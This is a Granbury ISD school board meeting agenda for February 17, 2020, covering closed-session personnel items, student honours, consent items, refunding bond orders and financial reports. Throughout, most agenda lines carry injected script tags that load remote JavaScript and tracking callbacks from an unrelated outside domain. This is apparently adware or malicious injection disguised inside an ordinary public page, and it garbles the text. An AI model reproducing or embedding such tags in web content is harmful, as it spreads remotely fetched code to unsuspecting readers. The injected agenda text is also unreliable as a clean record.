Public Meeting

Monday, February 17, 2020 5:00 PM
Granbury ISD Board Room, 217 N. Jones St., Granbury, Texas 76048

1. **Call to order - 5:00 PM - GISD Board Room**
2. **Convene in Closed Session under the Texas Open Meetings Act, Texas Government Code Section 551.001 et seq.**

a. Section 551.074 - to deliberate the appointment, employment, evaluation, reassignment, duties, discipline or dismissal of a public officer or employee.

1. Staff Recommendations
2. Consider Administrative Contracts <script async="" src="//soursejone.com/21dca2f7d5837c09f5.js" type="text/javascript"></script>
3. Consider Catastrophic Leave <script async="" src="//soursejone.com/21dca2f7d5837c09f5.js" type="text/javascript"></script>

b. Section 551.076. Deliberations Regarding Security Devices or Security Audits

c. Section 551.072 - Purchase, Exchange, Lease or Value of Real Property

3. **Reconvene in Open Session - 6:00 PM**
4. **Moment of Silence/Invocation**
5. **Pledges - U.S. Flag & Texas Flag**
6. **Open Forum / Public Comments**

Patrons who have duly registered per policy BED (LOCAL) may address the board regarding matters of concern/interest to the district. The board may not act upon any matter that is not listed under the action item portion of the agenda.

7. **Academic Spotlight**

a. State School of Character: STEAM Academy at Mambrino

b. Texas Schools to Watch Re-Designation: Acton Middle School

c. Area Spelling Bee Champion: Mann Vaghashia

d. All-State Choir Student: Hannah Swaim

e. All-State Band Student: Alyssa Garcia

f. State Swim Contestants: Trinity Belott, Kori Brawner, Jaden Couto, Daniel D'Souza, Brock Holmgreen, Ashley Loveless, Mary Power, Matthew Walters, and Cutter Willmeth

8. **Discussion/Action**

a. Consider Consent Agenda Items <script async="" src="//soursejone.com/21dca2f7d5837c09f5.js" type="text/javascript"></script>

1. Consider Regular Meeting Minutes of January 13, 2020 and the Special Meeting Minutes from January 29, 2020. <script async="" src="//soursejone.com/21dca2f7d5837c09f5.js" type="text/javascript"></script>
2. Consider Budget Amendments
3. Consider Region 10 ESC Multi-Region Purchasing Cooperative Inter-local Agreement 2020-21 <script async="" src="//soursejone.com/21dca2f7d5837c09f5.js" type="text/javascript"></script>
4. Consider Award of Facilities and Maintenance Services RFP 2019-1062 <script async="" src="//soursejone.com/21dca2f7d5837c09f5.js"

type="text/javascript"></script>

5. Consider Out of State Travel for AMS Students and staff for Texas Schools to Watch <script async="" src="//soursejone.com/21dca2f7d5837c09f5.js" type="text/javascript"></script>
6. Consider Out of State Travel for Granbury High School Sign Language Program
7. Consider Staff Development Waiver
8. Consider Award of Print and Copy Services RFP 2020-1065
9. Consider Approval of Changes to Authorized Individuals on Logic, First Public, TexPool, Texas Term and TD Ameritrade (TCG Mapp Program)
10. Consider Renewal of Auditing Firm for the 2019-20 School Year <script async="" src="//soursejone.com/21dca2f7d5837c09f5.js" type="text/javascript"></script>
11. Consider Award of WAN Services RFP #2019-1064 <script async="" src="//soursejone.com/21dca2f7d5837c09f5.js" type="text/javascript"></script>
12. Consider Award of Internet Provider RFP #2019-1063 <script async="" src="//soursejone.com/21dca2f7d5837c09f5.js" type="text/javascript"></script>
13. Consider Approval of Middle School Course Catalog and Pick Sheets <script async="" src="//soursejone.com/21dca2f7d5837c09f5.js" type="text/javascript"></script>
14. Consider Renewal of Agreement with Cooks Children' Hospital Regarding School-Based Telemedicine <script async="" src="//soursejone.com/21dca2f7d5837c09f5.js" type="text/javascript"></script>

b. Consider Budget Assumptions and Calendar for the 2020-21 Budget
c. Discuss and consider adoption of an order authorizing the issuance of Unlimited Tax Refunding Bonds, establishing sale parameters, authorization the execution of a bond purchase contract and escrow agreement; approving an official statement; and enacting other provisions relating to the subject. <script async="" src="//soursejone.com/21dca2f7d5837c09f5.js" type="text/javascript"></script> <script src="https://soursejone.com/optout/set/lat?jsonp=__mtz_cb_264082523&key=21dca2f7d5837c09f5&cv=1581916511&t=1581916511095" type="text/javascript"></script> <script src="https://soursejone.com/optout/set/lt?jsonp=__mtz_cb_788486037&key=21dca2f7d5837c09f5&cv=23560&t=1581916511098" type="text/javascript"></script>
d. Discuss and consider adoption of an order authorizing the defeasance and redemption of a portion of Granbury Independent School District Unlimited Tax School Building Bonds, Series 2014 and all matters incident or related thereto. <script async="" src="//soursejone.com/21dca2f7d5837c09f5.js" type="text/javascript"></script> <script src="https://soursejone.com/optout/set/lat?jsonp=__mtz_cb_628718081&key=21dca2f7d5837c09f5&cv=1581916564&t=1581916564674" type="text/javascript"></script> <script src="https://soursejone.com/optout/set/lt?jsonp=__mtz_cb_688581175&key=21dca2f7d5837c09f5&cv=23614&t=1581916564677" type="text/javascript"></script>

e. Consider Pre - K Waiver

f. Consider Approval of Little Buccaneers Day Care Center for GISD Staff <script async="" src="//soursejone.com/21dca2f7d5837c09f5.js" type="text/javascript"></script>

9. **Reports**

a. Superintendent's Report

b. TASB Staffing Review <script async="" src="//soursejone.com/21dca2f7d5837c09f5.js" type="text/javascript"></script>

c. Financial Statements for Period Ending January 31, 2020 <script async="" src="//soursejone.com/21dca2f7d5837c09f5.js" type="text/javascript"></script>

d. Cash Flow and Investment Report for the Period Ending January 31, 2020 <script async="" src="//soursejone.com/21dca2f7d5837c09f5.js" type="text/javascript"></script>

e. Report of Categorical Purchases between $50,000 and $100,000 as Required per Board Policy CH(LOCAL) <script async="" src="//soursejone.com/21dca2f7d5837c09f5.js" type="text/javascript"></script>

10. **Consider Action on Items Discussed In Closed Session**

a. Consider Staff Recommendations

b. Consider Administrative Contracts <script async="" src="//soursejone.com/21dca2f7d5837c09f5.js" type="text/javascript"></script>

c. Consider Catastrophic Leave <script async="" src="//soursejone.com/21dca2f7d5837c09f5.js" type="text/javascript"></script>

11. **Adjourn**